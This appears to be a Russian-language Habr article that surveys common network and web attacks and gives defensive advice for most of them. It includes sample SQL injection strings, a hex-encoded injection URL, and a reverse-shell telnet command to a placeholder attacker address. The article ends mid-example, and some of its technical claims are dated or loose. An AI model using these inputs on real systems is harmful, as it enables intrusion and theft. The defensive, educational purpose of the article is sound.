Pull to refresh

Распространенные угрозы безопасности

Reading time 21 min
Views 16K
Все наверное знают, что есть очень много разных способов угрозы безопасности. Их действительно достаточно, сколько их узнаете прочитав под катом.


Все используемые ссылке ниже взяты для примера если они куда — то ведут не туда к аффтору притензий не предъявлять

Так же статья доступна по адресам: forxakep.ucoz.ru/publ/3-1-0-16
forum.netall.ru/index.php?showtopic=125182&st=0&p=1573116&#entry1573116
www.inattack.ru/article/402.html

Fishing (или Фишинг).
Очень широкое понятие. Смысл его в том, чтобы получить от пользователей информацию (пароли, номера кредитных карт и т.п.) или деньги. Этот приём направлен не на одного пользователя, а на многих. Например, письма якобы от службы технической поддержки рассылаются всем известным клиентам какого-либо банка. В письмах обычно содержится просьба выслать пароль к учётной записи, якобы из-за проведения каких-либо технических работ. Несмотря на то, что пользователей предупреждают, что никакую подобную информацию от них никто из работников не может потребовать, и эта информация не должна разглашаться, всегда находятся те, кто с удовольствием «дарит» свои номера, пароли и прочее. Подобные письма, обычно очень правдоподобно и грамотно составлены, что, возможно, подкупает доверчивых пользователей. Нужно оговориться, что приёмов для фишинга есть несколько, помимо писем. Некоторые из нижеприведённых приёмов при правильном применении подходят для фишинга (как правило, мы упоминаем об этом при описании приёма).
Рекомендации: Помните, что паранойя – лучшая защита. Не доверяйте ничему подозрительному, никому не давайте свои данные. Администраторам не нужно знать Ваш пароль, если он предназначен для доступа к их серверу. Они полностью управляют сервером и могут сами посмотреть пароль или изменить его.



Социальная инженерия
Не технический, а психологический приём. Пользуясь данными, полученными при инвентаризации, взломщик может позвонить какому-либо пользователю (например, корпоративной сети) от имени администратора и попытаться узнать у него, например, пароль. Это становится возможным, когда в больших сетях, пользователи не знают всех работников, и тем более не всегда могут точно узнать их по телефону. Кроме этого, используются сложные психологические приёмы, поэтому шанс на успех сильно возрастает.
Рекомендации: те же самые. Если действительно есть необходимость, то сообщите нужные данные лично. В том случае, если Вы записали пароль на бумаге, не оставляйте её где попало и по возможности уничтожайте, а не просто выбрасывайте в мусорную корзину.



Вирусы.
Самая известная простому пользователю проблема. Суть во внедрении вредоносной программы в компьютер пользователя. Последствия могут быть различны и зависят от вида вируса, которым заражён компьютер. Но в целом — от похищения информации до рассылки спама, организации DDoS атак, а так же получения полного контроля над компьютером. Помимо прикрепленного к письму файла, вирусы могут попасть в компьютер через некоторые уязвимости ОС, которые описываются в нашей статье «Рейтинг уязвимостей Windows». Вирусов существует огромное множество, но всё же возможно их классифицировать. Мы не хотим изобретать заново велосипед, поэтому можно воспользоваться информацией этой страницы school8.uriit.ru/people/av/class.html где приводится классификация вирусов с описанием. Чуть более подробно эта тема раскрывается здесь fivt.krgtu.ru/kafedri/mo/site/ANTIVIRUS/pages/02.htm
Рекомендации: Пользуйтесь антивирусным ПО. Не ограничивайтесь только DrWEB или Kaspersky Anti-Virus (потому как они не проверяют реестр), используйте специализированные антивирусы против Malware, например Ad-Aware, SpyBot, XSpy. А так же не открывайте подозрительных вложений и вообще не открывайте программ от неизвестных отправителей. Даже если отправитель Вам знаком, всё равно сначала проверьте антивирусом. Здесь как в медицине, легче избежать, чем потом вылечить.



DoS (Denial of Service или Отказ от Обслуживания).
Хотелось сказать, что это скорее не отдельная атака, а результат атаки; используется для вывода системы или отдельных программ из строя. Для этого взломщик особым образом формирует запрос к какой-либо программе, после чего она перестаёт функционировать. Требуется перезарузка, чтобы вернуть рабочее состояние программы. Часто встречается мнение, что DoS, это то же самое, что и атака типа Flood и что вообще нужно соединить все атаки, которые приводят к отказу системы под общим названием DoS. Здесь стоит оговориться, что:

--Общей терминологии нет, есть скорее негласные правила, по которым классифицируется атака, поэтому даже в рамках данной статьи мы приведём, в чем-то расхожую классификацию.
--Как мы уже сказали, к отказу от обслуживания может привести не только Flood, но, например и Buffer Overflow.

Поэтому, DoS можно охарактеризовать как результат атаки. Например: «эффект отказа от обслуживания достигнут применением атаки типа Flood».



Flood (Флуд или Поток/Затопление)
Этот тип достаточно спорный, отчасти его можно отнести к DoS, но мы хотели бы выделить его отдельно. С некоторого количества машин (в этом случае атака будет называться DDoS Distributed Denial of Service. Распределенная атака на отказ от обслуживания), как правило «Зомби» посылают жертве максимально возможное количество запросов (например, запросы на соединение). От этого жертва не успевает отвечать на каждый запрос, и в итоге не отвечает на пользовательские запросы, т.е. можно сказать, что перестаёт нормально функционировать. Примечание: этот тип атаки можно назвать хулиганством, когда, например, форумы заполняют большим количеством бессмысленных сообщений. Можно выделить следующие типы Flood:

--SYN Flood – Затопление атакуемого компьютера пакетами типа SYN. Как известно, компьютер должен на такой пакет ответить пакетом типа SYN/ACK. Если пакетов SYN слишком много, то компьютер не успевает отвечать на каждый и не может принимать пакеты от других компьютеров.
--ICMP Flood или Ping Flood – То же самое, только пакетами ICMP. Система должна ответить на такой пакет, тем самым создаётся большое количество пакетов, которые снижают производительность (пропускную способность) канала.
--Identification Flood (Ident Flood). Похожа на ICMP Flood, но ответ на запрос на порт 113 типа identd занимает у системы больше времени, поэтому атака более эффективна.
--DNS Flood – атака направлена на DNS сервера. Их наводняют DNS запросы, на которые сервер не успевает отвечать, таким образом, на Ваши запросы он так же ответить не сможет. Как следствие, Вы не сможет посещать Интернет сайты.
--DDoS DNS – Атака достаточно новая, и мы не встречали «устоявшегося» названия. По сути, этот приём примерно то же самое, что и предыдущий, с той лишь разницей, что запросы поступают с большого количества машин (предыдущий тип этого не исключает). Адрес, по которому должен ответить DNS-сервер на эти запросы, равен адресу самого DNS сервера, т.е. его не только наводняют запросы DNS, но он же ещё и отправляет их себе же. Таким образом, приём более эффективен, чем предыдущий, но и более сложен в реализации.
--Boink (Bonk, Teardrop) – Жертве посылается огромное количество сильно фрагментированных пакетов, но при этом фрагменты большого размера. Для каждого фрагментированного пакета выделяется специальный буфер, в который в последствии будут помещены другие фрагменты, чтобы потом сложить их воедино. Огромное количество больших фрагментов переполняют буфера и могут спровоцировать зависание или аварийную остановку.
--Pong – то же самое, что и любой другой из вышеперечисленных видов, отличие только в том, что адрес отправителя поддельный. Это даёт взломщику некоторую анонимность.

Рекомендации: для каждой ОС или маршрутизатора свои; они, как правило, даны в технической документации. Не пренебрегайте ими, чётко ограничивайте количество допустимых пакетов. К сожалению, некоторые виды невозможно отразить ничем, кроме физического отключения. Правильно настроенные межсетевые экраны (или Брандмауэры) часто являются панацеей.



Smurf (атака, направленная на ошибки реализации TCP-IP протокола)
Сейчас этот вид атаки считается экзотикой, однако раньше, когда TCP-IP протокол был достаточно новым, в нём содержалось некоторое количество ошибок, которые позволяли, например, подменять IP адреса. Однако, этот тип атаки применяется до сих пор. Некоторые специалисты выделяют TCP Smurf, UDP Smurf, ICMP Smurf. Конечно, такое деление основано на типе пакетов.
Рекомендации: коммутаторы CISCO предоставляют хорошую защиту, как и многие другие, а также свежее ПО и межсетевые экраны; необходимо блокировать широковещательные запросы.


Ping-of-Death (или Jolt, SSPing)
Атака заключается в том, что жертве посылается фрагментированный ICMP пакет, но размер фрагмента очень большой (64кБ). Старые версии ОС, например Windows 95, повисают. Эту атаку можно осуществить с помощью программы Shadow Security Scanner.
Рекомендации: легче всего обновить ОС, отказавшись от старой версии.


UDP Storm (UDP шторм)
Используется в том случае, если на жертве открыто как минимум два UDP порта, каждый из которых отсылает отправителю какой-нибудь ответ. Например, порт 37 с сервером time на запрос отправляет текущую дату и время. Взломщик отправляет UDP пакет на один из портов жертвы, но в качестве отправителя указывает адрес жертвы и второй открытый UDP порт жертвы. Тогда порты начинают бесконечно отвечать друг другу, что снижает производительность. Шторм прекратится, как только один из пакетов пропадёт (например, из-за перегрузки ресурсов).
Рекомендации: по возможности исключить использование сервисов, которые принимают UDP пакеты, либо отрезать их от внешней сети межсетевым экраном.


UDP Bomb
Взломщик отправляет системе UDP пакет с некорректными полями служебных данных. Данные могут быть нарушены как угодно (например, некорректная длина полей, структура). Это может привести к аварийному завершению.
Рекомендации: обновите ПО.


Land

Жертве посылается пакет на определённый порт, но адрес отправителя устанавливается тот же самый, что и жертвы, а порт отправителя равен порту получателя. (пример: получатель: 1.1.1.1 порт 111 отправитель: 1.1.1.1 порт 111). Жертва пытается установить соединение с собой, отчего может произойти повисание системы. Подобная атака также может быть на 100% эффективна против некоторых маршрутизаторов.


Mail Bombing («Почтовая бомбёжка»)
Если на атакуемом компьютере есть почтовый сервер, то на него посылается огромное количество почтовых сообщений с целью вывода его из строя. С одной стороны, это напоминает Flood, но с другой стороны, если сообщения содержат большие вложения, которые будут проверяться серверным антивирусом, то подобная проверка множества входящих вложений может существенно снизить производительность или свести её на нет. Кроме того, такие сообщения сохраняются на жёстком диске сервера и могут переполнить его, что может вызвать DoS. Конечно, сейчас эта атака, скорее история, но в некоторых случаях всё же может быть использована.
Рекомендации: грамотная настройка почтового сервера.


Sniffing (Сниффинг или прослушивание сети)
В том случае, если вместо коммутаторов в сети установлены концентраторы, полученные пакеты рассылаются всем компьютерам в сети, а дальше уже компьютеры определяют для них этот пакет или нет. Если взломщик получит доступ к компьютеру, который включен в такую сеть, или получит доступ к сети непосредственно, то вся информация, передаваемая в переделах сегмента сети, включая пароли, станет доступна. Взломщик просто поставит сетевую карту в режим прослушивания и будет принимать все пакеты независимо от того, ему ли они предназначались. Можно использовать как консольные снифферы, например TcpDump (встроенный в *NIX системах), WinDump (для Windows, но не встроенный), а так же с визуализированным интерфейсом, например Iris.
Рекомендации: используйте коммутаторы вместо концентраторов, шифруйте трафик.


IP Hijack (IP хайджек)
Если есть физический доступ к сети, то взломщик может «врезаться» в сетевой кабель и выступить в качестве посредника при передаче пакетов, тем самым он будет слушать весь трафик между двумя компьютерами. Очень неудобный способ, который часто себя не оправдывает, за исключением случаев, когда никакой другой способ не может быть реализован. Подобное включение само по себе неудобно, хотя есть устройства, которые немного упрощают эту задачу, в частности они следят за нумерацией пакетов, чтобы избежать сбоя и возможного выявления вторжения в канал. Такой способ используется для обмана банкоматов, но такой случай технически сложнее, потому что недопустим разрыв связи между банком и банкоматом, а «врезание» в канал без его разрыва – задача только для высококвалифицированного специалиста. Кроме этого, теперь банкоматы устанавливаются гораздо лучше, что исключает возможность свободного физического доступа к кабелю.

Рекомендации: следите за доступом к кабелям, например, используйте короба. Шифруйте трафик.


Dummy ARP (Ложный ARP)
ARP сервер, маршрутизатор или коммутатор знают какие IP принадлежат MAC адресам (т.е. сетевым картам). При возможности физического доступа к сети, взломщик может подделать ARP ответ и выдать себя за другой компьютер в сети, получив его IP. Тем самым все пакеты, предназначенные тому компьютеру, будет получать он. Это возможно, если тот компьютер выключен, иначе это действие вызовет конфликт IP адресов (в одной сети не могут быть 2 компьютера с одним и тем же IP адресом).
Рекомендации: используйте ПО, которое информирует об изменении MAC адресов у IP, следите за лог-файлами ARP сервера.


Dummy DNS Server (ложный DNS Сервер)
Если настройки сети поставлены в автоматический режим, то при включении в сеть, компьютер «спрашивает» (т.е. отправляет широковещательный пакет) кто будет его DNS сервером, к которому он в дальнейшем будет отправлять DNS запросы. При наличии физического доступа к сети, взломщик может перехватить такой широковещательный запрос и ответить, что его компьютер будет DNS сервером. После этого он сможет отправлять обманутую жертву по любому маршруту. Например, жертва хочет пройти на сайт банка и перевести деньги, взломщик может отправить её на свой компьютер, где будет сфабрикована форма ввода пароля. После этого пароль будет принадлежать взломщику. Достаточно сложный способ, потому что взломщику необходимо ответить жертве раньше, чем DNS сервер.

Рекомендации: по возможности ограничьте доступ к сети посторонних.


Fuzzy (Фаззи)
Фильтры могут быть настроены на блокировку определённых видов пакетов, например UDP. Взломщик может сфабриковать пакет так, что фильтр не поймет, что этот пакет UDP и не отфильтрует его, и он попадёт по назначению. Таким образом, взломщик может обойти фильтры пакетов. Этот приём очень узкий и предназначен для частных случаев, точнее тех, когда связь не обязательно должна быть двусторонней. Двусторонняя связь будет невозможна в большинстве случаев, т.к. в основном, если блокируются входящие пакеты определённого типа на какой-либо порт, то блокируются и исходящие. Получается, что даже если сфабрикованный пакет пройдёт через фильтр (например на порт UDP), то сервер ответит на него пакетом того же типа, т.е. UDP, но при этом он не будет его фабриковать по примеру взломщика. Т.о. этот исходящий пакет будет отфильтрован и не попадёт к взломщику. Как бы там ни было, всё равно стоит обезопасить себя от подобного рода атак.
Рекомендации: обычно новые версии межсетевых экранов предоставляют достаточную защиту против этого приёма.


Puke
Взломщик фабрикует ответ ICMP unreachable (ошибка удалённой системы), что спровоцирует клиента на отключение от сервера. Используется скорее как вспомогательное средство, в том случае, если какой-либо клиент должен быть отключён от сервера для проведения атаки.
Fake unreachable – взломщик фабрикует сообщение о том, что пакет не может быть доставлен (unreachable), тем самым заставляет сервер думать, что у клиента сбой и пакеты не доставляются по назначению. Это может спровоцировать сервер отключить клиента. Тоже вспомогательное средство, похоже на №17, только направлен не на клиента, а на сервер.


IP-Spoofing (Спуфинг или Подмена IP адреса)
Атакующий подменяет свой реальный IP фиктивным. Это необходимо, если доступ к ресурсу имеют только определённые IP адреса. Взломщику нужно изменить свой реальный IP на «привилегированный» или «доверенный», чтобы получить доступ. Этот способ может быть использован по-другому. После того, как два компьютера установили между собой соединение, проверив пароли, взломщик может вызвать на жертве перегрузку сетевых ресурсов специально сгенерированными пакетами. Тем самым он может перенаправить трафик на себя и таким образом обойти процедуру аутентификации.
Рекомендации: их может быть много, по той причине, что приёмов достаточно много. Но стоит упомянуть, что угрозу снизит (но возможно затруднит легимитивные соединения) уменьшение времени ответного пакета с установленными флагами SYN и ACK, а также увеличить максимальное количество SYN-запросов на установление соединения в очереди (tcp_max_backlog). Так же можно использовать SYN-Cookies.
Host spoofing (Подмена хоста). Очень сложная техника, требующая физического доступа к сети. Каждый компьютер знает маршрутизатор, на который он отправляет все пакеты, которые потом маршрутизатором доставляются по назначению. При смене маршрутизатора каждому компьютеру высылается redirect уведомление, после чего компьютеры начинают посылать пакеты новому маршрутизатору. Взломщик может сфабриковать подобное уведомление и выдать себя за маршрутизатор, таким образом он получит контроль над трафиком в пределах сегмента сети.
Рекомендации: контроль над доступом к сети и момента смены маршрутизатора. Например, можно следить, весь ли прошлый трафик (т.е. старые соединения) «появились» на новом маршрутизаторе.


Подбор пароля.
Используется для регистрации в системе путём подбора пароля к учётной записи. Есть два вида: подбор всех возможных комбинаций символов (BruteForce) и подбор по словарю. Первый способ более эффективен, т.к. всё равно найдётся комбинация символов, которую вы ввели с клавиатуры в качестве пароля, но этот способ крайне медленный, особенно если в расчёт принимаются знаки препинания и т.п. Второй способ быстрый, но если вы ввели слово, которого не может быть в словаре, например: «Мой-Новый-Пароль», то подобрать по словарю его будет невозможно. Программ, которые служат для подбора пароля очень много, поэтому мы не думаем, что есть смысл называть какие-либо конкретные. Как правило, программы, ОС и пр. хранят пароли в шифрованном виде, поэтому даже если взломщик получил доступ к файлу, ему придётся расшифровать пароль. Он это может делать сутками на своём домашнем компьютере.
Рекомендации: использовать сложные пароли, лучше со знаками препинания. Ограничьте количество попыток ввода пароля. Против расшифровки пароля поможет только его сложность.


Back Connect/Pipes/Reverse (Обратный сеанс или Реверс)
Это вспомогательный приём, но сам по себе он очень интересный. Например, взломщик не хочет каждый раз выполнять много действий ради одной команды. Он может упростить задачу, используя этот приём. Суть его в том, что взломщик вынуждает атакуемый компьютер подключиться к компьютеру взломщика. Например на атакуемом компьютере можно выполнить команду telnet [ip.адрес.взломщика] [порт]. После этого взломщик, по сути дела получает командную строку (командную оболочку или Шелл/Shell) на атакуемом компьютере.


Software vulnerabilities (Ошибки ПО)
Использование ошибок в программном обеспечении. Эффект может быть разный. От получения несущественной информации до получения полного контроля над системой. Атаки через ошибки ПО самые популярные во все времена. Старые ошибки исправляются новыми версиями, но в новых версиях появляются новые ошибки, которые опять могут быть использованы. Дальше мы опишем не виды атак, а приёмы, используемые для атаки на ошибки ПО. Рекомендации: приведём сразу для всех, потому как рекомендация общая — поможет только «безопасно» написанный код программ. По этой теме можно найти большое количество материала в Интернет.


Buffer Overflow (Переполнение буфера)
Очень опасный вид атаки, когда запрос формируется так, что он переполняет выделенные ему рамки памяти и команды «вшитые» в запрос попадают в стек, а после выполняются процессором. Это можно сделать как удалённо, так и локально, если взломщик может запустить свою программу на атакуемом компьютере. Это может быть использовано как для выполнения кода на компьютере, так и для поднятия прав. Есть несколько подвидов атак на переполнение буфера. Мы не будем описывать каждый из них, т.к. для объяснения принципа нам придётся привести примеры кода, который будет непонятен людям, незнакомым с программированием. Нижеприведённая классификация принадлежит Андрею Колищаку (andr[at]sandy.ru) и находится в его статье «Атаки на переполнение буфера». Поэтому найти их описание, примеры и рекомендации Вы можете непосредственно в этой статье. Мы же приведём их просто для ознакомления.

---Атака “срыв стека”
---Атака “срыв стека” с параметризацией
---Атака “срыв стека” с передачей управления
---Искажение указателей функций
---Атака на указатели функций
---Атака на указатели функций с параметризацией
---Атака на указатели функций с передачей управления
---Искажение таблиц переходов
---Атака на таблицы переходов
---Атака на таблицы переходов с параметризацией
---Атака на таблицы переходов с передачей управления
---Искажение указателей данных
---Атака с искажением указателей данных
---Атака с искажением указателей данных с параметризацией
---Атака с искажением указателей данных с оригинальным кодом.

К вышеприведённой классификации мы бы хотели привести ещё один тип: Integer Overflow (Переполнение целочисленных). За более подробной информацией можно обратиться к статье «Целочисленное переполнение: Атака» и «Целочисленное переполнение: Защита» или «Basic Integer Overflows» от Blexim.


Shatter
Уязвимость Windows систем, которая может быть использована только локально. Очень похожа на переполнение буфера, точнее приводит к тому же самому результату: команды взломщика попадают в стек. Основана на том, что у каждого окна в Windows, у которого есть поле для ввода, есть и максимальная длина вводимого значения. Она устанавливается ещё на стадии разработки программы и для небольших полей может быть равна, например 50. С клавиатуры нельзя ввести количество символов больше 50, но работа окон Windows основана на Messages (Посланиях). Можно легко получить Header (Хидер или Заголовок(особый, предназначенный только для ОС)) поля для ввода и послать SETTEXT (установить текст) сообщение (используя этот хидер) полю для ввода. Сообщение должно сказать, что необходимо установить текст длиною больше 50, соответственно, всё, что будет после 50-го символа, попадёт в стек и будет выполнено процессором. Защиты от этого не существует. Единственная панацея – это процессоры AMD Athlon 64, у которых есть встроенная защита, и они не выполняют команды из стека.


Nuke (WinNuke или Нюк)
Сейчас это скорее история. Windows по умолчанию использует протокол NetBIOS для совместной работы с файлами и принтерами в сети. Для этого ОС открывает три TCP порта (137, 138, 139). Реализация этого протокола на старых версиях Windows содержала уязвимость. Суть в том, что можно послать в открытый 139 порт несколько OutOfBand «сообщений» подряд. Система не могла корректно обработать подобные данные и система повисала. Программ для подобных атак было написано немало, но мы упомянем только Shadow Security Scanner, который уже был назван нами ранее, как средство для SSPing.


Cross User Attack (межпользовательская атака)
На наш взгляд достаточно неоднозначное название, т.к. не лучшим образом отражает суть атаки, но всё же мы придержимся этого, общеизвестного названия. Squid 2.4 и ISA/2000 позволяют пользователям делить между собой TCP соединения с сервером. Можно спровоцировать с помощью HRS (описана ниже) два ответа от сервера, один из которых будет контролироваться взломщиком и фальсифицирует полученную пользователем информацию.
Атака на CGI. Большинство WWW (Веб) серверов используют скрипты для предоставления пользователям дополнительных услуг или предоставления дополнительных возможностей. Например, почтовые сервера, как mail.ru На многих серверах установлены «самописные» CMS (Content Management System или Системы управления содержимым (сайта)). Программисты далеко не всегда заставляют свои скрипты проверять вводимые пользователем значения, отчего появляются возможности использования таких оплошностей в различных целях. Атака на переполнение буфера также может быть проведена через ошибки CGI скриптов. Например: http://host/cgi-bin/helloworld?type=A*100 (т.е. буква A будет в количестве 100 раз). По адресу http://www.opennet.ru/base/sec/linux_sec_guide.txt.html можно найти отличную статью, во второй части которой описываются проблемы безопасности, которые обычно оставляются без внимания CGI программистами. Многие не являются приёмами взлома, а только помогают взлому, поэтому для написания хорошего кода лучше ознакомиться со статьёй. Рамки нашей статьи не позволяют нам углубиться в тему написания безопасного кода, поэтому скажем только, что нужно, как минимум, фильтровать все служебные символы из получаемых данных.


SQL Injection (SQL иньекция)
Если введённые пользователем данные используются в сформированных SQL запросах без проверки, то взломщик может ввести данные, которые позволят ему получить любую информацию из Ваших SQL баз. Например: есть запрос «SELECT login, password FROM members where email=’$email’;» Где $email вводится пользователем в таблице, запрос обрабатывается и результат выводится на страницу. Взломщик может модифицировать данные и ввести в форму: «my@mail.ru' OR login LIKE '%admin%». Таким образом, сформированный SQL запрос будет: «SELECT login, password FROM members where email='my@mail.ru' OR login LIKE '%admin%';». Таким образом, взломщик получит пароли от пользователей, в login которых содержится admin.


HRS (HTTP Resource Splitting)
Достаточно молодой и по нашему мнению сложный приём (если не использовать его только для XSS), который позволяет реализовать атаки вида Hijacking Pages, Cross User Defacement, Web Cache Poisoning, Browser Cache Poisoning, XSS (будут описаны ниже). Сущность атаки в том, что взломщик, специально приготовленным HTTP запросом может заставить Веб-сервер, уязвимый перед HRS, ответить жертве (а не взломщику) двумя раздельными HTTP ответами (а не одним, как это было бы в обычной ситуации). Первый HTTP ответ может быть частично контролируем взломщиком, но второй контролируется взломщиком полностью! Если это возможно, взломщик посылает два запроса, где жертва выступает уже посредником. Первый из этих запросов снова заставит Веб-сервер ответить два раза, а второй обычно запрашивает какой-либо второстепенный ресурс на сервере (например, какую-либо маленькую картинку). Но! Жертва объединит второй HTTP запрос (на второстепенный ресурс) со вторым HTTP ответом (который контролируется взломщиком)! Таким образом, жертва думает, что получившийся «агрегат» это ответ от Веб-сервера с частью его содержимого, но на самом деле это будет важная информация или команда (которая подготовлена взломщиком). Есть ещё один нюанс, жертвой может быть компьютер взломщика, который получит в результате атаки, важную информацию, например, cookie другого пользователя. Ниже мы опишем атаки, которые можно провести через HRS, но они так же могут быть проведены с использованием другого приёма, но мы скажем про них всё же в ключе HRS.


Cross User Defacement
Достаточно «узкий» приём, потому что взломщик подделывает страницу, которая посылается уязвимым Веб – сервером только одной жертве. При этом содержимое Веб – сервера никаким образом не меняется. Кроме этого, приём очень сложно провести не при помощи HRS. Взломщику придётся выступить посредником между клиентом и сервером при помощи Спуфинга, IP хайджека, или ошибки в реализации некоторых Веб-серверов, но в итоге «затраты» не оправдают полученного результата. Более легко реализовать это через межпользовательскую атаку.


Web Cache Poisoning
По моему мнению, не совсем полезный приём, поэтому опишу его исключительно кратко. В основном, прокси серверы кэшируют страницы, запрашиваемые пользователями, чтобы при повторном запросе такой страницы отдать её из кэша, а не запрашивать Веб-сервер. Это необходимо для экономии трафика, если это корпоративная сеть и прокси сервер внутрисетевой. Суть приёма в том, чтобы спровоцировать прокси сервер кэшировать поддельную страницу, которая потом будет передаваться пользователям сети.
Browser Cache Poisoning. Кэши есть не только у прокси серверов, но также и у браузеров. По сути этот приём почти то же самое, что и Web Cache Poisoning, с той лишь разницей, что ей подвергается только один компьютер.


Hijacking Pages
В некоторой степени этот приём схож с межпользовательской атакой, но здесь цель атаки не «подсунуть» пользователю подделанную информацию, например Веб-страницу, а наоборот, заставить сервер переслать взломщику Веб-страницу, которая предназначалась другому пользователю. Таким образом, взломщик может получить важную информацию, предназначенную другому пользователю. Это может быть номер его счёта или выданный ему пароль. Для проведения атаки, взломщику необходимо TCP соединение с прокси сервером (назовём «ВСП»), TCP соединение между жертвой и прокси сервером («ЖСП») и TCP соединение между Веб-сервером и прокси сервером («ССП»). Схема следующая:

---Взломщик посылает через «ВСП» запрос (назовём «ЗА») к прокси серверу, на который Веб-сервер должен ответить двумя «ответами» «ОФ1» и «ОФ2» (случай HRS).
---Прокси сервер пересылает через «ССП» запрос «ЗА» к Веб-серверу.
---Веб-сервер отвечает «ОФ1» и «ОФ2» через «ССП».
— Прокси сервер считает, что «ОФ1» это ответ на «ЗА» и пересылает его взломщику через «ВСП».
---Жертва посылает прокси серверу запрос «ЗЖ» через «ЖСП». На который Веб сервер должен ответить страницей «ОС», которая содержит важную информацию.
---Прокси сервер пересылает «ЗЖ» Веб-серверу через «ССП», но тут же принимает фальшивый «ОФ2» за ответ Веб-сервера.
---Прокси сервер через «ЖСП» пересылает жертве «ОФ2» как ответ на запрос «ЗЖ».
— Взломщик снова посылает прокси серверу новый запрос «ЗА2» через «ВСП».
— В это время прокси сервер получает ответ от Веб-сервера на «ЗЖ» через «ССП».
---При этом прокси сервер всё же пересылает «ЗА2» Веб-серверу через «ССП», но тут же принимает «ОС» за ответ на «ЗА2».
— Прокси сервер пересылает «ОС» взломщику через «ВСП». Т.о. взломщик добился своей цели, он получил страницу, которая предназначалась жертве.

Дальше прокси сервер получит ответ на последний запрос взломщика, но на то время эту страницу будет некому отдать, и она будет вероятнее всего удалена. Мы думаем, что после рассмотрения этой схемы стало понятно, что атака не столь сложна в реализации в теории, сколь сложна на практике. Требуется точно распланированное время, через которое будут отосланы запросы и, соответственно, потребуются точные данные, через какое время будут получены ответы на запросы.


CSS/XSS (Cross-Site Scripting или Межсайтовый скриптинг)
Атака, так и не признанная Microsoft опасной, основана на использовании Java Script в странице. Как известно, Java код, «вшитый» в страницу, выполняется браузером пользователя. Возможности достаточно ограничены, но в умелых руках имеющиеся возможности могут быть очень эффективно использованы. Например, многие форумы или почтовые сервера умеют идентифицировать пользователя по наличию определённой cookie на компьютере пользователя. Она уникальна для каждого и поэтому считается достаточно безопасно идентифицировать пользователя для доступа к информации малой важности только по её наличию, без ввода пароля. Но, cookie можно украсть! Взломщик может внедрить в страницу код типа: «», а на своём сайте создать файл snf.jpg, который на самом деле будет скриптом и будет записывать в файл полученные через document.cookie данные. Таким образом, каждый пользователь, посетивший страницу форума, куда взломщик внедрил вышеприведённый код (например, вместо картинки), «подарит» взломщику свою cookie, которая позже может быть использована взломщиком для регистрации на форуме. Даже если внешние ссылки на картинки не разрешены, но есть возможность их загрузки, то одного фильтра на расширение (чтобы оно было, например JPG) мало. Поэтому атака всё равно будет успешной, если в теле файла (например: «photo.jpg») будет содержаться JAVA код. Если сервер подвержен атаке XSS, то клиент может сам уберечься от неё, отключив выполнение Java Script в своём браузере. Конечно, после этого некоторые страницы могут работать некорректно.


SiXSS (SQL Injection Cross Site Scripting)
Представляет собой комбинацию SQL Injection и XSS, т.е. выполнение атаки типа XSS через уязвимость скрипта к SQL Injection. Атака основана на том, что свежие версии MySQL умеют переводить шестнадцатеричные значения (вида 0хХХ) в текст. Например, через SQL запрос можно выяснить, что шестнадцатеричное значение строки «» это «3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E». Теперь если есть уязвимый к SQL Injection Скрипт, то можно задать вот такой запрос: www.victim.com/vuln_script.php? vuln_variable=1+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2
F7363726970743E Мы надеемся, что записи vuln_variable или vuln_script Вам понятны, что это уязвимая переменная и уязвимый скрипт соответственно. В результате мы получим окошко с текстом SiXSS, что значит, что атака прошла успешно. Код исключительно безвреден, поэтому можно проверить самим. Подобная атака весьма специфична, поэтому мы считаем необходимым обговорить её более подробно. В отличие от XSS эта атака применяется в фишинге, если её модифицировать. Кроме того, достаточно трудно внедрить подобный код в чужую страницу, потому что «рабочие» скрипты в их шестнадцатеричном значении очень длинные и могут выходить за пределы допустимых значений, поэтому проще привести подобную ссылку отдельно как текст, нежели «вшивать её». Конечно, многие пользователи могут сказать, что они никогда не откроют ссылку, если увидят в ней элементы SQL запроса, например «UNION», однако здесь есть свой подводный камень: от человеческого глаза ссылку легко спрятать, сделать неузнаваемой. Например, запись %F1%F1%FB%EB%EA%E0 совершенно непонятна для глаза, но будет правильно воспринята браузером и сервером. Кроме этого, есть несколько способов замаскировать ссылку, поэтому ошибиться будет легко. Кроме этого, многие почтовые клиенты предпочитают не показывать ссылку целиком, а показывать только начало, поэтому фрагменты SQL могут оказаться попросту скрытыми. Поэтому, либо не доверяйте неизвестным отправителям, даже если они представятся менеджерами банков, либо отключите JAVA. Но первый вариант всё же предпочтительнее. Из личного опыта можно рассказать, что однажды пришло подобное письмо от управляющего банком, где в поле «отправител» была запись «Apex Bank PLC», однако в обратном адресе было apexbnkplcc@yahoo.co.uk Ясно, что это был мошенник, потому что никогда банк не будет доверять обработку своей почты бесплатным почтовым серверам. Внимательно проверяйте обратный адрес и не верьте в легкие деньги!


SiHRS (SQL Injection HTTP Resource Splitting)
Приём реализует HTTP Resource Splitting через уязвимость скрипта к SQL Injection. Это становится возможным, если скрипт, например, по индексу, сначала обращается к SQL базе за HTTP адресом, а потом сам генерирует свой HTTP запрос и использует полученный из SQL базы HTTP адрес для подстановки в поле «Location:» своего HTTP запроса. Это достаточно часто используется в Интернет-каталогах сайтов. Мы можем привести пример HTTP заголовка, который может быть использован для SiHRS в шестнадцатеричном виде.
КодSelect HEX('i.php'
Content-Length: 0

HTTP/1.1 200 OK
Content-Ty
Tags:
Hubs:
+14
Comments 55
Comments Comments 55

Articles